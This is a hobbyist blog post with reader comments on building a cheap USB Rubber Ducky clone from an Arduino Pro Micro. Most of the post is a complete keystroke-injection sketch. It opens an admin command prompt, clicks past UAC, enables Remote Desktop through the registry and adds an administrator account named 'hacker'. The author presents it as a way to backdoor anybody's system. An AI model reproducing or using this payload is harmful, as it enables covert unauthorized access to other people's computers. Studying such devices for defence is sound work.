Recreating a USB Rubber Ducky under $4 in India

Holla Guys,

It's been a while I have been on my very own domain :P Anyways, today I would like to show you guys few things I have done in the past few years. I have been playing around with a lot of Arduino chips and ended up creating a clone of the USB Rubber Ducky using the keyboard libraries.
Arduino Chips for Hacking


By using cheap Arduino chips I was not only able to run commands on my computer system but was able to bypass Android 4-Digit lock in less than 2 hours. So how was i able to do it? The very first thing we require is an Arduino Pro Micro Chip. You will find it on Amazon, Ebay or anywhere else and it would cost around 800-900 Rupees which is a lot of money :P So, I chose to go with Aliexpress and got the chips for less than $4. Having the chip, all you need to is to use a USB - Micro Cable to connect your new Arduino chip to the system. For all the folks who know about Arduino's please feel free to skip one or two paragraphs. You will need the Arduino IDE (Download and install). You will also need to set your board to Arduino Leonardo(Compatible with Arduino Pro Micro)

Next, all we need to do is to interpret our required functionality in the form of keystrokes and build a program around it. Keyboard.press() function will type the required key for us while Keyboard.release() will release a particular key. Another important function is Keyboard.releaseAll() which will release all the pressed keys at once. Say, "CTRL+SHIFT+DEL" pressing this combination will require you to press one key after the other while holding them all and releasing them together. Similar combinations are required for any combinations we want. The beauty of the Arduino is that it types in so fast that barely a human eye could catch(if very little delays are present).  Let's say we need to open an admin prompt; we will first press the left windows key, then we will type in cmd, then right clicking cmd(CTRL+SHIFT+F10), then a down arrow key and finally enter key. However, if UAC is enabled another Right Arrow Press Followed by an Enter is required. You can understand the functionality through the following image:

So, let's simply create an example program which will Bypass UAC, Enable RDP and add a user named hacker to the system as follows:
void setup() {
    Keyboard.begin();
delay(3000);   
type(KEY_LEFT_GUI,false);
Keyboard.releaseAll();
delay(100);
print(F("cmd.exe"));
delay(1000);
type(KEY_LEFT_CTRL,false);
type(KEY_LEFT_SHIFT,false);
type(KEY_F10,false);
Keyboard.releaseAll();
delay(200);
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
delay(200);
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
delay(200);
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
delay(500); 
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(2000);
type(KEY_LEFT_ARROW,false);
Keyboard.releaseAll();
delay(100);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(1000);
print(F("reg add "));
delay(1000);
String abc= "\\";
print(F("\"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\""));
delay(1000);
print(F(" /v fDenyTSConnections /t REG_DWORD /d 0 /f"));
delay(2000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
print(F("net user hacker hacker /add"));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(5000);
print(F("net localgroup administrators hacker /add"));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
delay(5000);
print(F("exit"));
delay(1000);
type(KEY_RETURN,false);
Keyboard.releaseAll();
Keyboard.end();
}
void type(int key, boolean release) {
    Keyboard.press(key);
    if(release)
        Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
    Keyboard.print(value);
}
void loop(){}
Loading this program into the Arduino, we can backdoor anybody's system with a new user account and can remote connect to the system. However, using a little modification you can also obtain the IP address of the system as well. I have already created a demonstration exploiting the CTRL+SHIFT+PRNTSCR functionality at login time which can be found below:

Enjoy!!

5 comments:

  1. how to prevent the attack while modifying code

    ReplyDelete
  2. how to prevent the attack while modifying code

    ReplyDelete
    Replies
    1. Probably by hooking the keyboard functions... Else very difficult

      Delete
  3. Great work..can u link the product used for creating backdoor..! Plz.

    ReplyDelete
    Replies
    1. It's arduino pro micro.. you can buy it off over aliexpress New Pro Micro for arduino ATmega32U4 5V/16MHz Module with 2 row pin header For Leonardo best quality
      http://s.aliexpress.com/qaABNF7v
      (from AliExpress Android)

      Delete

Powered by Blogger.